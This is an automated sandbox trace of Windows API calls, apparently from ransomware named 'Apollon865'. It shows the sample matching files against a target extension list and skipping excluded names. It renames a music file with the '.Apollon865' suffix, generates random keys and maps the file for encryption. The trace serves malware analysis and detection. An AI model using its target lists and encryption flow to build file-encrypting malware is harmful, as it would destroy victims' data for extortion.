	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accdb") returned -1
	[0087.817] lstrlenW (lpString="accdc") returned 5
	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accdc") returned -1
	[0087.817] lstrlenW (lpString="accde") returned 5
	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accde") returned -1
	[0087.817] lstrlenW (lpString="accdr") returned 5
	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accdr") returned -1
	[0087.817] lstrlenW (lpString="accdt") returned 5
	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accdt") returned -1
	[0087.817] lstrlenW (lpString="accdw") returned 5
	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accdw") returned -1
	[0087.817] lstrlenW (lpString="accft") returned 5
	[0087.817] lstrcmpiW (lpString1="a.wav", lpString2="accft") returned -1
	[0087.817] lstrlenW (lpString="adb") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.817] lstrlenW (lpString="adb") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.817] lstrlenW (lpString="ade") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0087.817] lstrlenW (lpString="adf") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0087.817] lstrlenW (lpString="adn") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0087.817] lstrlenW (lpString="adp") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0087.817] lstrlenW (lpString="alf") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0087.818] lstrlenW (lpString="ask") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0087.818] lstrlenW (lpString="btr") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0087.818] lstrlenW (lpString="cat") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0087.818] lstrlenW (lpString="cdb") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0087.818] lstrlenW (lpString="ckp") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0087.818] lstrlenW (lpString="cma") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0087.818] lstrlenW (lpString="cpd") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0087.818] lstrlenW (lpString="dacpac") returned 6
	[0087.818] lstrcmpiW (lpString1="-a.wav", lpString2="dacpac") returned -1
	[0087.818] lstrlenW (lpString="dad") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0087.818] lstrlenW (lpString="dadiagrams") returned 10
	[0087.818] lstrcmpiW (lpString1="cWJP-a.wav", lpString2="dadiagrams") returned -1
	[0087.818] lstrlenW (lpString="daschema") returned 8
	[0087.818] lstrcmpiW (lpString1="JP-a.wav", lpString2="daschema") returned 1
	[0087.818] lstrlenW (lpString="db-journal") returned 10
	[0087.818] lstrcmpiW (lpString1="cWJP-a.wav", lpString2="db-journal") returned -1
	[0087.818] lstrlenW (lpString="db-shm") returned 6
	[0087.818] lstrcmpiW (lpString1="-a.wav", lpString2="db-shm") returned -1
	[0087.818] lstrlenW (lpString="db-wal") returned 6
	[0087.818] lstrcmpiW (lpString1="-a.wav", lpString2="db-wal") returned -1
	[0087.818] lstrlenW (lpString="dbc") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0087.818] lstrlenW (lpString="dbs") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0087.818] lstrlenW (lpString="dbt") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0087.818] lstrlenW (lpString="dbv") returned 3
	[0087.818] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0087.819] lstrlenW (lpString="dbx") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0087.819] lstrlenW (lpString="dcb") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0087.819] lstrlenW (lpString="dct") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0087.819] lstrlenW (lpString="dcx") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0087.819] lstrlenW (lpString="ddl") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0087.819] lstrlenW (lpString="dlis") returned 4
	[0087.819] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0087.819] lstrlenW (lpString="dp1") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0087.819] lstrlenW (lpString="dqy") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0087.819] lstrlenW (lpString="dsk") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0087.819] lstrlenW (lpString="dsn") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0087.819] lstrlenW (lpString="dtsx") returned 4
	[0087.819] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0087.819] lstrlenW (lpString="dxl") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0087.819] lstrlenW (lpString="eco") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0087.819] lstrlenW (lpString="ecx") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0087.819] lstrlenW (lpString="edb") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0087.819] lstrlenW (lpString="epim") returned 4
	[0087.819] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0087.819] lstrlenW (lpString="fcd") returned 3
	[0087.819] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0087.820] lstrlenW (lpString="fdb") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0087.820] lstrlenW (lpString="fic") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0087.820] lstrlenW (lpString="flexolibrary") returned 12
	[0087.820] lstrcmpiW (lpString1="G6cWJP-a.wav", lpString2="flexolibrary") returned 1
	[0087.820] lstrlenW (lpString="fm5") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0087.820] lstrlenW (lpString="fmp") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0087.820] lstrlenW (lpString="fmp12") returned 5
	[0087.820] lstrcmpiW (lpString1="a.wav", lpString2="fmp12") returned -1
	[0087.820] lstrlenW (lpString="fmpsl") returned 5
	[0087.820] lstrcmpiW (lpString1="a.wav", lpString2="fmpsl") returned -1
	[0087.820] lstrlenW (lpString="fol") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0087.820] lstrlenW (lpString="fp3") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0087.820] lstrlenW (lpString="fp4") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0087.820] lstrlenW (lpString="fp5") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0087.820] lstrlenW (lpString="fp7") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0087.820] lstrlenW (lpString="fpt") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0087.820] lstrlenW (lpString="frm") returned 3
	[0087.820] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0087.821] lstrlenW (lpString="gdb") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.821] lstrlenW (lpString="gdb") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0087.821] lstrlenW (lpString="grdb") returned 4
	[0087.821] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0087.821] lstrlenW (lpString="gwi") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0087.821] lstrlenW (lpString="hdb") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0087.821] lstrlenW (lpString="his") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0087.821] lstrlenW (lpString="ib") returned 2
	[0087.821] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0087.821] lstrlenW (lpString="idb") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0087.821] lstrlenW (lpString="ihx") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0087.821] lstrlenW (lpString="itdb") returned 4
	[0087.821] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0087.821] lstrlenW (lpString="itw") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0087.821] lstrlenW (lpString="jet") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0087.821] lstrlenW (lpString="jtx") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0087.821] lstrlenW (lpString="kdb") returned 3
	[0087.821] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0087.821] lstrlenW (lpString="kexi") returned 4
	[0087.821] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0087.821] lstrlenW (lpString="kexic") returned 5
	[0087.822] lstrcmpiW (lpString1="a.wav", lpString2="kexic") returned -1
	[0087.822] lstrlenW (lpString="kexis") returned 5
	[0087.822] lstrcmpiW (lpString1="a.wav", lpString2="kexis") returned -1
	[0087.822] lstrlenW (lpString="lgc") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0087.822] lstrlenW (lpString="lwx") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0087.822] lstrlenW (lpString="maf") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0087.822] lstrlenW (lpString="maq") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0087.822] lstrlenW (lpString="mar") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0087.822] lstrlenW (lpString="marshal") returned 7
	[0087.822] lstrcmpiW (lpString1="P-a.wav", lpString2="marshal") returned 1
	[0087.822] lstrlenW (lpString="mas") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0087.822] lstrlenW (lpString="mav") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0087.822] lstrlenW (lpString="maw") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0087.822] lstrlenW (lpString="mdbhtml") returned 7
	[0087.822] lstrcmpiW (lpString1="P-a.wav", lpString2="mdbhtml") returned 1
	[0087.822] lstrlenW (lpString="mdn") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0087.822] lstrlenW (lpString="mdt") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0087.822] lstrlenW (lpString="mfd") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0087.822] lstrlenW (lpString="mpd") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0087.822] lstrlenW (lpString="mrg") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0087.822] lstrlenW (lpString="mud") returned 3
	[0087.822] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0087.822] lstrlenW (lpString="mwb") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0087.823] lstrlenW (lpString="myd") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0087.823] lstrlenW (lpString="ndf") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0087.823] lstrlenW (lpString="nnt") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0087.823] lstrlenW (lpString="nrmlib") returned 6
	[0087.823] lstrcmpiW (lpString1="-a.wav", lpString2="nrmlib") returned -1
	[0087.823] lstrlenW (lpString="ns2") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0087.823] lstrlenW (lpString="ns3") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0087.823] lstrlenW (lpString="ns4") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0087.823] lstrlenW (lpString="nsf") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0087.823] lstrlenW (lpString="nv") returned 2
	[0087.823] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0087.823] lstrlenW (lpString="nv2") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0087.823] lstrlenW (lpString="nwdb") returned 4
	[0087.823] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0087.823] lstrlenW (lpString="nyf") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0087.823] lstrlenW (lpString="odb") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.823] lstrlenW (lpString="odb") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0087.823] lstrlenW (lpString="oqy") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0087.823] lstrlenW (lpString="ora") returned 3
	[0087.823] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0087.824] lstrlenW (lpString="orx") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0087.824] lstrlenW (lpString="owc") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0087.824] lstrlenW (lpString="p96") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0087.824] lstrlenW (lpString="p97") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0087.824] lstrlenW (lpString="pan") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0087.824] lstrlenW (lpString="pdb") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0087.824] lstrlenW (lpString="pdm") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0087.824] lstrlenW (lpString="pnz") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0087.824] lstrlenW (lpString="qry") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0087.824] lstrlenW (lpString="qvd") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0087.824] lstrlenW (lpString="rbf") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0087.824] lstrlenW (lpString="rctd") returned 4
	[0087.824] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0087.824] lstrlenW (lpString="rod") returned 3
	[0087.824] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0087.824] lstrlenW (lpString="rodx") returned 4
	[0087.824] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0087.825] lstrlenW (lpString="rpd") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0087.825] lstrlenW (lpString="rsd") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0087.825] lstrlenW (lpString="sas7bdat") returned 8
	[0087.825] lstrcmpiW (lpString1="JP-a.wav", lpString2="sas7bdat") returned -1
	[0087.825] lstrlenW (lpString="sbf") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0087.825] lstrlenW (lpString="scx") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0087.825] lstrlenW (lpString="sdb") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0087.825] lstrlenW (lpString="sdc") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0087.825] lstrlenW (lpString="sdf") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0087.825] lstrlenW (lpString="sis") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0087.825] lstrlenW (lpString="spq") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0087.825] lstrlenW (lpString="te") returned 2
	[0087.825] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0087.825] lstrlenW (lpString="teacher") returned 7
	[0087.825] lstrcmpiW (lpString1="P-a.wav", lpString2="teacher") returned -1
	[0087.825] lstrlenW (lpString="tmd") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0087.825] lstrlenW (lpString="tps") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0087.825] lstrlenW (lpString="trc") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.825] lstrlenW (lpString="trc") returned 3
	[0087.825] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0087.826] lstrlenW (lpString="trm") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0087.826] lstrlenW (lpString="udb") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0087.826] lstrlenW (lpString="udl") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0087.826] lstrlenW (lpString="usr") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0087.826] lstrlenW (lpString="v12") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0087.826] lstrlenW (lpString="vis") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0087.826] lstrlenW (lpString="vpd") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0087.826] lstrlenW (lpString="vvv") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0087.826] lstrlenW (lpString="wdb") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0087.826] lstrlenW (lpString="wmdb") returned 4
	[0087.826] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0087.826] lstrlenW (lpString="wrk") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0087.826] lstrlenW (lpString="xdb") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0087.826] lstrlenW (lpString="xld") returned 3
	[0087.826] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0087.826] lstrlenW (lpString="xmlff") returned 5
	[0087.826] lstrcmpiW (lpString1="a.wav", lpString2="xmlff") returned -1
	[0087.826] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\QgK8ClfNnVG6cWJP-a.wav.Apollon865") returned 79
	[0087.826] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\QgK8ClfNnVG6cWJP-a.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\qgk8clfnnvg6cwjp-a.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\QgK8ClfNnVG6cWJP-a.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\qgk8clfnnvg6cwjp-a.wav.apollon865"), dwFlags=0x1) returned 1
	[0087.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\QgK8ClfNnVG6cWJP-a.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\qgk8clfnnvg6cwjp-a.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.828] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=24187) returned 1
	[0087.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0087.829] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0087.830] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.830] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.830] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6180, lpName=0x0) returned 0x15c
	[0087.830] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6180) returned 0x100000
	[0087.832] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0087.833] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.833] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.833] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.834] CloseHandle (hObject=0x15c) returned 1
	[0087.834] CloseHandle (hObject=0x9c) returned 1
	[0087.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0087.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.835] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23903a90, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0x544db5a0, ftLastAccessTime.dwHighDateTime=0x1d4c81e, ftLastWriteTime.dwLowDateTime=0x544db5a0, ftLastWriteTime.dwHighDateTime=0x1d4c81e, nFileSizeHigh=0x0, nFileSizeLow=0x10a78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rRkb4EM.mp3", cAlternateFileName="")) returned 1
	[0087.835] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.835] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0087.835] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2=".") returned 1
	[0087.835] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="..") returned 1
	[0087.835] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="windows") returned -1
	[0087.835] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="bootmgr") returned 1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="temp") returned -1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="pagefile.sys") returned 1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="boot") returned 1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="ids.txt") returned 1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="ntuser.dat") returned 1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="perflogs") returned 1
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2="MSBuild") returned 1
	[0087.836] lstrlenW (lpString="rRkb4EM.mp3") returned 11
	[0087.836] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\QgK8ClfNnVG6cWJP-a.wav") returned 68
	[0087.836] lstrcpyW (in: lpString1=0x119e664, lpString2="rRkb4EM.mp3" | out: lpString1="rRkb4EM.mp3") returned="rRkb4EM.mp3"
	[0087.836] lstrlenW (lpString="rRkb4EM.mp3") returned 11
	[0087.836] lstrlenW (lpString="Apollon865") returned 10
	[0087.836] lstrcmpiW (lpString1="Rkb4EM.mp3", lpString2="Apollon865") returned 1
	[0087.836] lstrlenW (lpString=".dll") returned 4
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2=".dll") returned 1
	[0087.836] lstrlenW (lpString=".lnk") returned 4
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2=".lnk") returned 1
	[0087.836] lstrlenW (lpString=".ini") returned 4
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2=".ini") returned 1
	[0087.836] lstrlenW (lpString=".sys") returned 4
	[0087.836] lstrcmpiW (lpString1="rRkb4EM.mp3", lpString2=".sys") returned 1
	[0087.836] lstrlenW (lpString="rRkb4EM.mp3") returned 11
	[0087.836] lstrlenW (lpString="bak") returned 3
	[0087.836] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.836] lstrlenW (lpString="ba_") returned 3
	[0087.836] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.836] lstrlenW (lpString="dbb") returned 3
	[0087.836] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.836] lstrlenW (lpString="vmdk") returned 4
	[0087.836] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.836] lstrlenW (lpString="rar") returned 3
	[0087.836] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.837] lstrlenW (lpString="zip") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.837] lstrlenW (lpString="tgz") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.837] lstrlenW (lpString="vbox") returned 4
	[0087.837] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.837] lstrlenW (lpString="vdi") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.837] lstrlenW (lpString="vhd") returned 3
	[0087.837] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.837] lstrlenW (lpString="vhdx") returned 4
